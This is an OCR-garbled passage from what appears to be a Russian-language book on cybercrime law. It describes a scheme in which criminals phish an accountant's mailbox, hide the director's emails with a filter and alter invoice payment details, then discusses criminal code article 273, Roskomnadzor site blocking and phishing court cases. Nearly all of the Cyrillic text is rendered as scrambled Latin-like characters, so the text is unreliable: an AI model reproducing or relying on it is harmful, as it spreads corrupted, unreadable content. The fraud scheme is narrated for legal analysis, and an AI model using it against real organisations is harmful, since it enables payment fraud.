Cuera 1151 OomIaThl MOCTYNA/IM CHAvYa/ia Ha 3JIEKTPOHHbIN TOYTOBBIN
aJipec pyKoBOAuTeIsl. PyKOBOAMTENb OpraHM3aluy OTIPaBIISLI CYeTa, KO-
TOpbIE C1e0BAJI0 OIUIATUTD, CO CBOETO 3JIEKTPOHHOTO afpeca Ha SeKT-
POHHYIO TTOYTY, MCIIOJIb3yeMYI0 OyXraaTepoM.

B pe3ynbTaTe poBeIeHHO PUITMHT-aTaKy 3/I0YMbIILJIEHHUKM TTOTY-
YMJIM OOCTYI K 3JIEKTPOHHOMY TTOUTOBOMY ajipecy GyxrajaTepa.

[Tocne M3ydyeHUs: COOEPKUMOTO JIEKTPOHHOTO IMOYTOBOTrO ajapeca
byxranaTepa 3JIOYMBIIJIEHHUKY MMeJIU TOJHOe MpeAcTaBieHne o ¢u-
HAHCOBBIX OINepanusx U MOpsiike UX MPoBeAeHMs. AHAIN3 TepenycKu
coflepskaJl Bce HeoOXoAMMble MaHHbIe: OTKy[a MPUXOISIT cueTa, Kakue
00BIYHO MTPOBOASITCSI CYMMbI, KAKOBbI Ha3HAUEHMSI TIaTeXel.

AHanm3 Mo3BoJISIET TaKXKe BBISIBUTDH OTpacjieBble MPUHALJIEKHOCTU
MapTHEPOB, HAMMEHOBAHMS IOPUANYECKUX JINL], PETMOHAJIBHOE PacIo-
JIO’)KeHME OpTraHM3aluii.

[Tocne aHanM3a akKayHTa 3JI0YMbIIIJIEHHUKM YCTaHOBUINU DUIBTD,
NpegHa3HAYEHHBIN [JIS1 COKPBITUSI BXOASIIMX OT OMPEKTOpa OpraHmu3a-
1y coobureHmnii. TakuM o6pa3om, CHavaia IIPUCIaHHbIE TVPEKTOPOM
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COOOIIeHMS YATATY 37I0YMbIIIUIEHHUKY, TIOTOM 3/I0YMbILIIJIEHHUKY Tepe-
Mela/IM UX B Marky «Bxopsiye» M moMevanu Kak HOBOe.

I ycrenHoro npoBeieHns JajJlbHEeNIINX OeiCTBUI 3/I0YMBbIILIEH -
HUKU 3aperucTpupoBaay MOAXOLSAUIYIO 10 HAa3BAHUIO OpPraHuU3aluio
(O00) B mopxosiieM permoHe, OTKPbUIM cueT ¢ QyHKIMei OucTaH-
IMIOHHOTO 6AaHKOBCKOTO OOCITYsKMBAHMSI U CTAJIM JKIATh, IPUTOBapPUBasi:
«JIoBUCh, pbIOKA, OOJIBIIAST ¥ MaJIEHbKASI...»

Korga Ha mouTy OyxrajTepa OT PYKOBOAMUTEJSI MOCTYMUI ouepe/-
HOJ CYeT JIJIs OIUIaThl, OyXrajTep ero He yBU e/, IOTOMY YTO cpaboTat
GWIBTP 97€KTPOHHOTO afpeca M MUCbMO ObUIO MOMEYEHO IMPOYMUTAH-
HBIM M aBTOMAaTUUYeCKY [IOMEeILEHO B OIpee/IeHHYIO [ankKy (Harpumep,
B KOP3UHY).

3/I0YMBILIJIEHHUK, B 33ja4M KOTOPOTO BXOAUT MOHUTOPUHT ITOCTYII-
JIEHUSI HOBBIX MMMCEM, CUTHAIU3UPYET COOOUTHMKAaM. Tereppb 3710yMBbIIII-
JIEHHVKM 3arpyskaloT cebe cueT, MU3MEHSIIOT TaM PEKBMU3UTHI U YKA3bIBAIOT
CYMMY, KaKyI0 MM B3[TyMaeTcsl, ¥ KJIaAyT IMMChbMO BO BXOJISIINE, He 3a0bIB
IIOCTaBUTh IIOMETKY — «HeITPOUMTAHHOE».

Byxrantep mpoBepsieT IoYTY, 0OHAPYKMBAET IMMCbMO OT PyKOBOAMTE-
Jis. bepeT 13 Hero M3MeHeHHbI CYeT U IMPOBOLUT OIIATY.

3/71I0yMBILIJIEHHMKAM OCTaeTCs TOJbKO IepeBeCcTy MOJyYeHHbIe ne-
HesKHbIe Cpe/iCTBa Ha IUIAaCTMKOBYIO KapTy Apolia M OOHAJIMUUTD UX.

B Takux cuTyaumsx, Kak 3Ta, IpecTyrHas cxema yallle BhIIJISOUT UH-
TepecHee (puc. 3.2). B 3aBucumocTy oT GyHKUMII Kaskaasl IpyIia mpe-
CTYIIHMKOB JIe/ICTBYeT KaK IllecTepeHKa B MexaHu3Me, y4acTBYS B 0011eM
Zesne, HO BBITIOHSISI CBO¥ OTAe/NbHbBIN PyHKIMOHA. [IpM 3TOM TipecTyIi-
HUKM 3TUX TPYIIIT MEKIY COO0/ He3HAKOMbI ¥ HUKOT]a He BCTPEYasIyCh.

OO6LIMIT IPUHLIMIT VICITONIb30BAJICS M B CIyYae C MCTOPUSIMMU, ITOXOKM-
MU Ha IOCIeIHIO, IeCTYI UCTOPUIO, KaCcalollyoCsl HellpaBOMepPHOro
IOCTYTIA K 3JIeKTPOHHBIM MIOUTOBBIM aipecaM 1 06/IauHbIM XpaHWIUIIAM
MeOUIHBIX MTePCOH.

B Takux ciay4asix, HECOMHEHHO, MCIIOb30BAJICSI OOBIYHBIN (DUILNHT,
MecTaMy IepcoHuduupoBaHHblii. Ho m1aBHOJ 0COOEHHOCTBIO TaKMUX
B3JIOMOB siBJisieTcsl 3QdeKT 1enHoi peakuyu. [Ipy B3joMe Tak Ha3bl-
BaeMbIX MeIUIHbBIX IIEPCOH 3JIOYMBILIJIEHHUKY UCIIOIb3YIOT 3HAaKOMbIe
JKepTBe yYeTHbIe 3allMCU — aJpeca U3 CIIMCKOB KOHTAKTOB. [lonyuns
Yy OLHOJ IepCOHbI CHMCOK KOHTAKTOB, aTaKka MMPOLOJ/IKAETCs 10 BCel
LIle[ouKe Jasblie.
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’ﬁ] HoMuHanbHbIM pykoBoauTens 1 [ponbl

@ HoMuHanbHbIA pykoBoauTEND 2 @ @ @ @ @
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[‘]] HOMWHanbHbLINA pyKoBOAUTENb 3

Puc. 3.2. Cxema s3aumodelicmeusi npecmynHeix 2pynn

3.2. XapaKkTtepucTuKa KnbepnpectynieHus,

npo6aemMbl MaeHTUUKALMU U TPYAHOCTU NepeBoaa

OcHOBHa# 1ieJib pacCMaTpMBaeMoOro B 9TOI KHUTe BUaa (I)I/II.LII/IHI‘a 3a-
K/IIIOYaeTCd B ITOJIYyU€HMM HECAaHKIUMOHNMPOBAHHOTO JOCTYIIAa K OXpaHse-
MOJ1 3aKOHOM I/IHd)OpMaI_U/II/I, IaJIbHeNIe IOoCIeACTBUS — TO JIUIIb J0-
ITIOJTHUTEJIbHbIE 3IIM30/4bI HpeCTYHHOﬁ JesaTeJIbHOCTU.
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HecmoTpst Ha 06MIMie MHEHMIT pa3HOTO Pojia CIIeLVAIVCTOB U TEX, KTO
cebst K HUM MIPUUMCIISIET, aBTOP CUMTAET, YTO C TOUKM 3PEHMS YTOJIOBHOTO
rpaBa Bce JesiHMS KMOepIipeCTyIIHMKOB B HACTOsIIlee BpeMs 1[eTMKOM
OXBAaTBIBAIOTCS AECTBYIOIIMMM CTAThsIMM YTOJIOBHOTO KOJlEKCa.

OnHako COBCEM HeIaBHO BCEpPbe3 3aroBOPWIM O TOM, YTO B Hallleli
CTpaHe He MpeAyCMOTpeHa OTBETCTBEHHOCTD 3a CO3JaHMe U UCIIONIb30-
BaHMe (UIIMHTOBBIX CaliTOB. OT HEKOTOPBIX CepPbe3HbIX UMHOBHMUKOB
U CIIELMAICTOB PEryASIPHO MPUXOOUTCS CIBIIIATH MPeHJIOKEHNS O BBe-
IeHMM YTOJIOBHOJ OTBETCTBEHHOCTDb 3a (DMILIMHTOBBIE CAiiThl, BKIIOUAS
MX CO3JaHMe U BlIafeHne UMMU.

B nmoa e p>kKy CBOMX IpeIJIOKeHN I M3BeCTHbBIE JIIOAM TPUBOIST CTATUC-
TUKY, TIpeJiCTaB/sIeMyl0, HaripuMep, LleHTpo6aHKOM, COLIMOIOTYecKye
OTIPOCHI ¥ OTYEThl OpraHMU3aluii, 6IOKUPYIOIUX PUILIVHTOBbIE CANTHI,
a TaKyKe YaCTO CChIJIAIOTCS Ha 00bEMbI «PbIHKA MHTEPHET-MOIIEHHNYECTB
B Poccun» 1 MusuiMoHsl py6iieit, MOXUIEHHBIX C TIOMOIIIbIO (uIIMHTa.

HapaBHe c BBeZleH/ieM HOBBIX CTaTei B YTOIOBHbIN KOIEKC aKTUBHO JI00-
OUPYIOTCSI MEXaHM3MbI YITPOIEHHO! 6JIOKMPOBKM (PUIIMHTOBBIX CAiITOB.

Tak, yacTo 3ByUMT MpeIJIOKEHE O BBeIeHNM MeXaHM3Ma T0CyneOHOoIi
67TOKMPOBKYM (DUIIMHTOBBIX CaiiTOB, KOTOPbIE OMPENEesISTIOTCS KaK «I10-
XOKMe A0 CTeleHM CMelleHMs Ha CyLeCTBYIOUMe MOMY/sSpHbIe CaThbI
1 He3aKOHHO cobuparoliye IepcoHa/bHbIe JaHHbIe UM TIaTeKHYI0 MH-
dbopmaiiuio mosb3oBaTesei».

PauyoHa/bHBIMU UIEU CTOPOHHUKOB TaKUX MHULMATUB BBITSAST
TOJIBKO MTOBEPXHOCTHO, U BCErja XOUeTCsl CIIPOCUTh, KaK Yy 3UrMyHZa
@peiiga: He TOAMEHSIETCS JIV 3[IeCh 3HAUMMOCTD ITPO0JIeM UX BHEIIHEel
SIPKOCTBIO?

[Ipenyaraemble pelieHust 0 HameleHUM PockoMHaa3opa QyHKIMen
co6opa mHopmaruu o GUIIMHTOBBIX CaiiTax He pelraeT MpobaeMbl —
KTO JOJIKEH OTpefeNsiTh CTelleHb CMellleHUsT ¥ UCTUHHBIV (QYHKIMOHA
TAKOTO caiTa?

Omnpenenenye GyHKIMOHAIA — 3TO, 6€3YCIOBHO, KOMITETEHIIVS He3a-
BUCUMBIX TEXHUYECKUX CIEMATUCTOB (IKCIEPTOB), B 3a7a4y KOTOPbIX
IO/DKHA BXOOUTD MOATOTOBKA COOTBETCTBYIOIIMX 3aK/IOYeHuit. B cBowo
ouepelb, 3aK/I0YEeHME JO/DKHO HAMIPaBJISIThCS B CY, a CY, HA OCHOBAaHUU
MTOCTYTIMBIIIETO 3aK/TIOUEeHNSI JO/DKEH IMTPUHMMATD pellleHye 0 6JI0OKMPOB-
Ke ¥ HaIlpaBJISITh €ro Ha MUCIo/JIHeHMe B POCKOMHa30p.

BnokupoBaHye 6e3 TakoTo 3aKI0YeHMs, CUJIOi 1 BoJieit OOHOTO opra-
Ha, BCe-TaK! BBIIVISIAUT HECKOJIBKO MOCHelHO. Takke He OHSITHO, KOMY
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MOeT JOCTAaTbCS POJIb HE3aBUCUMbIX 3KCIIEPTOB, IpeLyCcMaTpUBaIoILast
001110} 00beM OecIIaTHO OYMaskHOJ pabOoThI.

TeM He MeHee MbI yXKe SIBISIE€MCSI CBUOETENSIMU «IeiCTBYIOILero»
3aKOHOJATENIbCTBA I10 OJIOKMPOBKE HE3aKOHHOTO KOHTEHTA, KOTOPOMY
yIessieTCsl OrPOMHOE KOJIMYeCTBO YCWINi U (PMHAHCOBBIX 3aTparT, a 00b-
eKTMBHO OOpaTUTHCS K 3aIpelieHHbIM caiiTaM MOXeT 0ObIKHOBEHHO
J10060J1 IKOJIbHUK.

B urosne 2012 roma 6b11M IPUHSATHI ITIOMIPaBKM B 3aK0H «0O6 MHDOpMa-
1Y, MHGOPMAIIMOHHBIX TEXHOJIOTUSIX U O 3aluTe MHPOopManym», 00si-
3pIBalOIMe OINEePAaTOPOB, OKA3bIBAKUIMX YCJIYIM AOCTya B VIHTepHeT,
OrpaHMYMBATB OOCTYI K CaiTaM, COLEepsKallMM 3arpelleHHy B Poc-
cum uHpopMauuio. B Hosi6pe 2012-ro BCTYIIMIIO B CUITY IIOCTAHOBJIEHME
[TpaButennscTBa N2 1101, comepykaniee rnpasujia CO34aHUSI U BeIeHUS
EnuHOro peectpa JOMEHHBIX MMEH, yKa3aTeJieil CTpaHull CAaiTOB U Ce-
TeBbIX aipeCcoB, MO3BOSIOINX UAEHTUGUIMPOBATD CANTHI C TPOTUBO-
MPaBHbIM KOHTEHTOM.

ITo aT¥M IIpaBMIaM IIpY OOHAPYKEHUM CaiiTa C 3arpeneHHoi nHpop-
Mmanuyueit PockoMHan30p AO/KEH ONpelennTb npoBaiaepa, Ipenocra-
BUBIIIETO XOCTUHT IJIsI pa3MelleHMsl caiiTa ¢ He3aKOHHbIM KOHTEHTOM,
M HalIpaBUThb €My YBeJJOMJIEHVEe O HEOOXOAMMOCTH YIJIUTh 3aIpeleH-
HYI0 MHGbOpMAaIIKIO.

Eciu Bageniernr caiiTa Uiy mpoBaiiiep He yoaasaT MHGopMaluio B Te-
YeHMe Tpex CyTOK, CAaliT BHOCUTCSI B peecTp, Mocjie 4Yero TeJIeKOMMYHM-
KallMOHHbIe KOMITAaHMM Hallleil CTpaHbl 00SI3aHbI OTPAHUYUTD JOCTYII
K caiiTaM M3 peecTpa B Te€YeHMe CYTOK C MOMEHTa OOHOBJIEHUS] 6a3bl
IaHHBIX (CIMCKA).

[ToTom Hauasach 60pbba ¢ HAPYIUTENIMNU. POCKOMHA30D BHIUMCIISIT
OIIepaToOpPOB CBSI3U, HE MCIOJHSIOMNX 00513aTeIbCTB MO OJOKMPOBKE,
a ¢ koHua 2015 roga HauajoCh BHEIpeHMEe MPOrpaMMHO-aMIapaTHOro
KOMILIeKca «PeBr30p», CTOMMOCTb KOTOPOro 84,2 MJIH py6iieit, KOTOPbIii
IOJIKeH aBTOMAaTUUYeCKy IMPOBepsITh, OJIOKMPYeT Ji oTllepaTop CBSI3U 3a-
MpeleHHbIe CAThI.

C mekabps 2016 roga PockoMHaa30p CTaj HaCTaMBaTh, YTOOBI BCE
orepaTtopsl Poccun nopkmiouanyu «PeBusop». Ecimu B mpoiiecce mepe-
MPOBEPKM JaHHBIX aBTOMATU3MPOBAHHON CUCTEMBbI IOATBEPAUTCS, UTO
oriepaTop CBsSI3M IOMyCKaeT abOHEHTOB K 3aIpeleHHOMY KOHTEeHTY, Ha-
MpaBJsieTcs Mpefnycane 06 yCTpaHeHUM HapyllleHUt U COCTaBSIeTCs
MIPOTOKOJI 06 aMUHUCTPATUBHOM HaPYIIEHUM.
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PelieHne o nmpuBjeyeHMM olepaTopa CBI3U K aAMUHUCTPATUBHOMN
OTBETCTBEHHOCTU MPUHUMAET CyA,. I3HaUa/IbHO TaKkue HapylleHNs KBa-
TubULUMpoBaInUCh 1o 4. 3 ¢T. 14.1 KoAlIl (mtpad [/ist oriepaTopoB CBSI3U
ot 30 ThIc. Mo 40 ThIC. PY0.), a ¢ dheBpansg 2017 roga B KoAlIl nobaBuiach
cT. 13.34, koTOpas mpegycmMarpuBaet mtpad [IJis orepaTopoB CBSI3U 3a
HeMCIIOTHeHMe 00513aHHOCTH 110 6JIOKMPOBKe 3arlipellleHHbIX CaliTOB OT
50 TeIc. ;o 100 ThIC. PYO.

He Gyzmem yriayo6/siTbCS B TEMY M JOKA3bIBATh, UTO CETEBbIE TEXHOIOT UM,
Jiexallyie B OCHOBe Tepefauy JaHHbIX, CBOAST HAa HET BCIO BbILIEyKa3aH-
HYIO CYeTy U GJIOKMPOBKA MMeeT JnITb (opMabHbIl XapakTep. C TakKuM
ke yCIIeXOM MO3KHO MOoCpey TOoJisl TTIOCTaBUTh OYAKY CO IIar6aymMoM.

HeB03MOKHO yaepKaTbCsl ¥ He BCTIOMHUTDb MPOHUYHBIN CTy4ait, KOr-
Ia B caMOM Hauajie 60pbObI € 3apeleHHbIMM pecypcaMy ObLT 3a0JI0KM-
poBaH caifT «Group-IB»!, KOTOPBIi ITOMAJ «II0f, pasgady», MO0 PeryJsTop
3a6;mokupoBas IP-agpec, Ha KOTOpOM pa3Meliasncs: pecypc.

BepHeMcst K TOMY, UTO Ha CETOOHSIIIHUI HeHb 3a ¢ummHr B YK PD
OTBETCTBEHHOCTb He MIPelyCMOTPEHA, U B CBSI3U C 3TUM IIpeAIIonaraeTcs
nonosHUTb aBy 28 YK P® «IIpectymnienust B cepe KOMIbIOTEPHO
nHopMalMu» HOBOJ CTaTbhel, BKIIOUaloleii OTBETCTBEHHOCTD 3a CO3-
IaHue U BlafieHre QUIIMHTOBBIMU CaiTaAMU.

Kunyuas nesTenbHOCTb — 3TO TO UCKYCCTBO, KOMM CJIaBUIach Hallla
CTpaHa BO BCe BpeMeHa.

VroJIOBHYI0 OTBETCTBEHHOCTh 3a CO3JaHMe, pacpoCTpaHeHe UIn
MCITOJIb30BaHMe KOMITbIOTEPHBIX MPOrpaMM MO0 MHOIM KOMITbIOTEp-
HOVi MH(pOpMalNK, 3aBeJOMO MpeAHa3HaUeHHbIX [IJIs HeCAaHKIMOHUPO-
BAaHHOTO YHUYTOXeHMSI, OJIOKMPOBaHMs, MoaAudUKaLM, KOMMPOBAHUS
KOMIIbIOTEPHOJ MHGbOpMaUM WIM HeWTpaan3alnumu CpelcTB 3alUTh
KOMIIbIOTEepHOI MHbOpMaluu, mpegycmaTpuBaer cT. 273 YK P®.

[Top, KOMIIBIOTEPHONM IIPOrpaMMOi1 3aKOHOAATE/NIbLCTBOM IOApa3yMe-
BaeTCs COBOKYITHOCTb JaHHBIX ¥ KOMaH/I, TipeJlHa3HaYeHHbIX /151 GyHK-
LMOHMPOBaHMS KOMITBIOTEPHOT'O YCTPOMCTBA C LIeJIbI0 MOyYeHMS OIpe-
IeJIeHHOTO pe3ysbTaTa.

B 3TO MOHSTME BpeJOHOCHBIX KOMIIbIOTEPHBIX ITPOTPaMM HeoOX0o -
MO 3aBE€PHYTb He TOJbKO BUPYCHI, KaK 3TO YaCTO BCTpeYaeTcsl B MpaBo-
BOI1 IUTEpaType, Ie BUPYChI YoKe MOoAeIeHbl Ha PA3HOBUAHOCTU (UEPBH,
TPOSIHCKME€ KOHM, KeMIorepbl, PyTKUTHI U AP.).

L https://ria.ru/technology/20131127/980156532.html.
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HanbHOBUIHOCTb 3aKOHOAATENS MpeaycMoTrpesna GopmMyanpoBKy
«JIMO0 MHO¥ KOMITbIOTePHOJ MHGOpMaLMN», Ha KOTOPYIO peaKo obpaiia-
10T BHMMaHMe, HO KOTOpasi MMeeT OueHb 00JIbIlIoe 3HaUeHMe, HO K 9TOMY
elle BepHeMCsl.

I'paxkgancknii Komeke Poccuiickoit @emepaiinn orpenesisieT Imporpam-
My mjist DBM Kak «IIpeAcTaBIeHHYI0 B 00beKTUBHOI (hOpMe COBOKYII-
HOCTb JAHHBIX ¥ KOMaH/I, MpefHa3HauUeHHbIX 151 QYHKIMOHMPOBAHUS
OBM u npyrux KOMIIbIOTEPHBIX YCTPOMCTB B LIeJISIX IMOJTYyUYEeHMs OIpee-
JIEHHOT'O pe3yJibTaTa, BK/IOUYas MOATOTOBUTEIbHbIE MaTepuabl, IOJy-
yeHHbIe B X0Jle pa3paboTKy MporpaMmbl 151 IBM, 1 moposkgaemMbie €10
ayaMoBU3YyaabHble OTOOPasKeHUSI».

[TpenrionokumM, 4TO HEKOTOPBIMM JINIIAMM PACpPOCTPaHSIETCs Mpo-
rpaMMa «KaJabKyasiTop». Hekuii monp3oBaTesb CKayal IporpaMmy «Kajib-
KYJIITOp», Habpasl B Heit 1@ Pl 1 orepalnin, a ocjae HaskaTusl KHOITKA
«paBHO» IPOrpaMma, B COOTBETCTBUM C 3aJI0KEHHBIM B Hee aJITOPUTMOM,
YHUUTOKMIa MHPOpPMAIIMI0 Ha KoMIlbioTepe. [Tob30BaTe/ib, KOHEUHO,
He MOT 3HaTb, YUYMTbIBasI MHTepdeiic MporpaMMbl, K UeMy 3TO IIpUBeET.
[JaHHas nporpamMmma I10 pesyabTaTaM KOMITbIOTEePHOM TEXHUUYECKOM 3KC-
TepTU3bl OYIET MpU3HaHA BPeIOHOCHOIA.

Vnu ecnu monb30BaTeN0 IMpejjaraeTcs IporpaMmma JJisi XpaHeHUs
raposeii, KoTopasi, Kak OKa3blBaeTCs I103Ke B pe3yJbTaTe ucciefoBaHus,
Bce (BHOCKUMbIe 1 3aindpoBaHHbIE) MOb30BaTeNbCKIE ITapOJIi CKPBITO
OTIIpaBJisieT Ha yJaaJeHHbIi cepBep. [laHHAs MporpamMmma Takxke OyaeT
IIpU3HaHa BPeJOHOCHO KOMIIbIOTEPHOM IIPOrpaMMOIA.

HekoTopsie ipumMepsl BpeJOHOCHBIX IPOrpaMM, UCIOIb3yeMbIX TPU
KOMOMHMPOBAHHBIX KOepaTaKkax, pacCMaTPUBAJINCh TAKKe B IIPeIbIay-
11Iel1 I1aBe.

Peub He UMIET O TEPMUHE «BUPYC», UIU «TPOSTH», WIN «03Kmop». Bo-
IIPOC O TEPMMUHOJIOIUU U CBOVICTBAX BPeLOHOCHO IMTPOrpamMMmbl, yKa3aH-
HbIX B YTOJIOBHOM KojeKkce PO.

Hopma 3akoHa paccMaTpuBaeT CO3[aHMe BPeSOHOCHBIX IMPOrpaMm
KaK JIesiTeJIbHOCTb, HAaIIpaBJIEHHYIO Ha pa3paboTKy, MTOATOTOBKY KOMITbIO-
TEePHBIX MPOrpaMM, CIIOCOOHBIX IO CBOeMY (DYHKIIMOHATY HECAHKIIMO-
HMPOBAHHO YHUUTOXATh, 6JIOKMPOBATh, MOOU(UILIVPOBATH, KOTMPOBATh
KOMITbIOTEPHYIO0 MH(pOPMAaIMIO UM HeMTPaanu30BaTh CpeaCcTBa 3alAThI
KOMIIBIOTEPHOJ MHGOpMAaIINN.

[Ton pacripocTpaHeHMEM TaKUX IMPOTPaMM 3aKOHOAATEIbCTBOM ITOHM-
MaeTcs MpeAoCcTaB/ieHe JOCTyIa K HUM JII000MY MOCTOPOHHEMY JIUITY
JII00BIM 13 BO3MOYKHBIX CITOCOO0B, BK/IIOYAsl PACChUIKY COOOIIEHMIA, CO-
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Iep>KallMX CCbIJIKM Ha BPeJOHOCHYIO IIPOrpamMmy I10 3JIeKTPOHHO CeTH,
TO eCTb JII00ObIe [eViCTBUS 10 MpefoCTaBJIeHNI0 AOCTyIa K IMporpaMmme
CeTeBBbIM MJIM MHBIM CIIOCOOOM.

Tak BOT, PUIIMHTOBBIN CANT — OTJIMYHBIN KaHIUAAT BO BPEIOHOCHBIE
KOMITbIOTEpHbBIE TIPOTPAMMbI, BK/IIOUAIOIINE B ce0SI TPOrPaMMHBIN KO
Ha TOM e s3bike PHP.

[IpectyruieHne 3a GUIIMHT GyIeT OKOHYEHO C MOMEHTA CO3AaHUS
(bumMHroBoro caira, Win pa3MelleHns ero Ha cepBepe (XOCTUHTE), UJTA
pacnpocTpaHeHMsI CCbUIOK Ha Hero (IOCpeCTBOM 37IeKTPOHHBIX TTOYTO-
BbIX CO00IIeHMT i SMS), ipuueM BHe 3aBUCUMOCTHM OT TOTO, HaCTYy-
UM WIM HET peajibHO NpeaycMOoTpeHHbIe CT. 273 YK P® nocnencrsus
(HeCAaHKLIMOHMPOBAHHOTO YHUUTOXKEHMSI, OJIOKMPOBaHMSI, MOAM(UKA-
LIV, KOTIMPOBAHMSI KOMITbIOTEPHON MHPOPMaLK MU HeATpanusauun
CpeACTB 3alIUThl MHQOpMAIN).

OCHOBHOI1 00BEKT paccMaTpMUBaeMOTO MPeCTYIIeHUs] — 00IeCTBeH-
HbIe OTHOIIIEHMSI, 0becreunBalome 6e30macHOCTb B cpepe KOMIbIOTEP-
HOVi MHGOpPMAaLIUN.

Takum 06pa3oM, QUIIMHTOBBIN CAMT — HE UTO MHOE, KaK KOMITbIOTEp-
Has mporpamMmma, 3aBeJOMO MpegHa3HaueHHas1 A1 HeCAaHKI[MOHMPOBAH-
HOTO KOTIMPOBAHMSI KOMIIbIOTEPHOI MHGOpMAaIIN.

A Tenepb BepHeMCs K ITO3UIINM CyIeOHO (1 TeM Oojiee 10oCymeOHO)
6JIOKMPOBKM (DUIIMHTOBBIX CaiiTOB. EC/IM (PUIIMHTOBBIN CaiiT ObLT BbI-
SIBJIEH, B OTHOLLIEHMM HETO IMOJIy4YeHO 3aK/II0UeHe CIIeMaIMCTOB O TOM,
YTO OH JIeICTBUTETbHO TAKOBBIM SIBJISIETCSI, TO OUE€BUIHBIM JTOIKEH OBITh
M CJIeIYIOIINIA ITIaT, COMYTCTBYIOMINI OJIOKMPOBKE, — BO30OYKIeHMe yTo-
JIOBHOTO [iejla CO BCEMM BbITEKAIOIIMMU MOUIEACTBUSIMM.

B maHHOM ciyyae GJIOKMPOBKA — 3TO ITpecevyeHre He3aKOHHOI esi-
TeJbHOCTU. HO BpegoHOCHAasi KOMITbIOTEPHAs IporpamMmma yke co3[aHa,
1 ee pacrpocTpaHeHue coBepiiaeTcsi. OJHAKO ke HY>KHO ObITh pa3yMHbI-
MM JIIOAbMI, BpeMeHHOe TIpeceueHye B Bue OJIOKMPOBKY — KaK MyXa Ha
JI0OOBOM CTeKJjIe KMOepIpecTyImHMKOB. CKOJIBKO ITOHAA00UTCSI BpeMeH!
3aIlyCTUTDb HOBBIN CAalIT HAa HOBOM IoMeHe u [P-anpece? ABTOp cuuTaer,
MUHYT MNSITh-1IECTh.

CoBepIlIeHHO 0YE€BUJHO, UTO AesITeJIbHOCTb, OTPAaHUYMBAIOIIASICS
JUIlb 6JIOKMPOBKOIA, IPOTUBOPEUUT 3PaBOMY CMbIC/ITY. ITO BCe paBHO,
YTO 3a061MpaTh HaXOsIeecss B He3aKOHHOM 000pOTe OrHeCTpeIbHOe Opy-
KM@ ¥ HapKOTMYeCKMe CpeacTBa, 3aMbIKaTh UX B ceide, He obpalas
BHMMAaHMSI Ha JIMII, Y KOTOPBIX HaXOAMJINChH 3ampelleHHbie K 000poTy
MaTepuasbl ¥ KOTOPHIMU OHM ObUIM CO3IAHbI U UCITOIb30BAIMCh.
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Ho paske mipy TaKOM CpaBHEHUM U3BITUE OPYKUSI U HAPKOTUKOB MMe-
€T CMBICJI ¥ TIPAaKTMUYeCKOoe 3HaUYeHMe 110 CPaBHEHMIO C GJIOKMPOBKOIA.

Ha ceromHsIIIHNI IeHb yKe CYIIeCTBYeT MPaKTUKa «TUXOi» GIOKM-
POBKM (UIIMHTOBBIX CaliTOB, KOT/Ia HEKMMM YIIOJTHOMOYEHHbIMM Opra-
HMU3aLUMSIMM HaIllpaBjsieTcss MHGOpPMalus O BbISIBI€HUM MO03PUTENb-
HBIX pPeCcypcoB, IIOcjIe Yero pabora JOMEHHbBIX MMEH ITpeKpaniaeTcs.

AHOHCUpYeTCs TakKe 3aITyCK CUCTeMbl aBTOMAaTUYeCKOTo Moucka ¢u-
IIMHTOBBIX CAalTOB, pAOOTAONINX B TOMEHHBIX 30HAX «.IU» U «.pd», pe3yiib-
TATOM pabOThI KOTOPOI1 Oy/IeT TaK Ha3bIBaeMOe pa3zeierMpoBaHye JOMEeH-
HbIX MIM€H, TO eCTb (hakTuyeckasl OTBsI3Ka JIoMeHa OT cepBepa (XOCTUHTA).

[IpencraBisieTcsi MHTEPECHBIM AajbHeliliee pa3BUTHeE CUTYaLUH, eCIN
eIVHCTBEHHO OMaCHOCTBIO IJIs1 KUOEePIIPeCcTyITHMKA CTaHeT GJIOKMPOBKA
ero He3aKOHHOTrO cayrTa.

Mex TeM peaibHOCTb TaKOBa, UYTO IMIPY BbISIBJIeHMM QUIIMHTOBBIX pe-
CYypCOB MPOU3BOJAUTCS «pearMpoBaHue» Mo ¢akTaM paclIpoCTpaHeHUs
GUIIMHT-KOHTEHTAa, eAMHCTBEHHbIM Pe3y/JbTaTOM KOTOPOTO SIBJISIETCSI
CHSITVIE TOMEHHBIX MMEH C AeJIeTUPOBAHMSI, ¥ 9TOT METO, 60pbOBI Ipe/I-
CTaBJISIETCS I0YEMY-TO CAMBIM IIPUOPUTETHBIM U LOCTATOUYHBIM.

IIpyu CTOMMOCTY TOMEHHOI'O MMEHM B 30He .ru ot 199 py6ieii 1 Bo3-
MOXXHOCTBIO BOCITOJIb30BAThCS CIIELMATIbHBIMU MMPEIJIOKEHUSIMU TUTIA
«Ckuaku oo 97% mnpu NoKymnKe HeCKOJIbKMX TJOMEeHOB»! TaKoil «cepbes3-
HbIii» yIap 10 KMOeprpecTyIMHMKAM OKaXkeTCs HEBBIHOCMMBIM C hMHAH-
COBOJ TOUKM 3PEHUS...

Heo6xogmMmo 3aMeTUTh TaKKe, YTO MPAKTUKA MPUBJIEUEHUS] K YTO-
JIOBHO OTBETCTBEHHOCTU MMEHHO 3a (DUIIMHT-pecypchl, 6e3yCII0BHO,
B Poccuiickoit @enepanym ectb. BOT mpuMepbl IIPUBJIEYEHUIT K YTOIOB-
HOJVi OTBETCTBEHHOCTH 3a CO3[IaHle U UCIT0/Ib30BaHue (PUITMHTOBbIX caii-
TOB, NpeAHAa3HAYEeHHbIX IJIS TTOTYyYeHUs Iaposieli OT YYeTHBIX 3arnceii
9JIEKTPOHHOJ MOYTHI (CM. Tab. 3.1).

Ta6nuya 3.1. Inpopmayus no yeonoeHsIM 0enam ¢ 008UHUMENbHLIMU NPU2080PAMU
8 OMHOWEHUU JIUY, UCNOAL3YWUX puiuHe-catimel

[ata o6BMHUTENBHOTO Craes YK | Homep aena Cya
npurosopa
16.06.2015 4.1 cr.273|1-133/2015 |JlobHeHCKMI ropoacKoi cyn MoCKOBCKOM
obnactu
20.10.2017 4.2 cr.273 |1-554/2017 | PameHckuii ropoackoit cyn MockoBckoi obnactu

L https://www.reg.ru/domain/new/.
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HemnpaBuibHasi TpaKTOBKA SIBJIEHNSI IOPOAMIIA CIOXKUBIIYIOCS TPaK-
TUKY, IPUMEHSIEMYI0 HEKOTOPBIMM 3KCIIePTaMMU, OTIPeHessSIiTh «<BPeLOHOC-
HOCTb» KOMITbIOTE€PHO ITPOrpaMMbl, OTTaJIKMBAsICh OT KaaccuuKaumn
BPEeAOHOCHBIX IPOrpaMM 10 HOMEHKJIAType BeaylX IPOU3BOAUTENEN
AQHTUBMPYCHOTO ITPOrPAaMMHOI0 0O6ecIieYeHmsl.

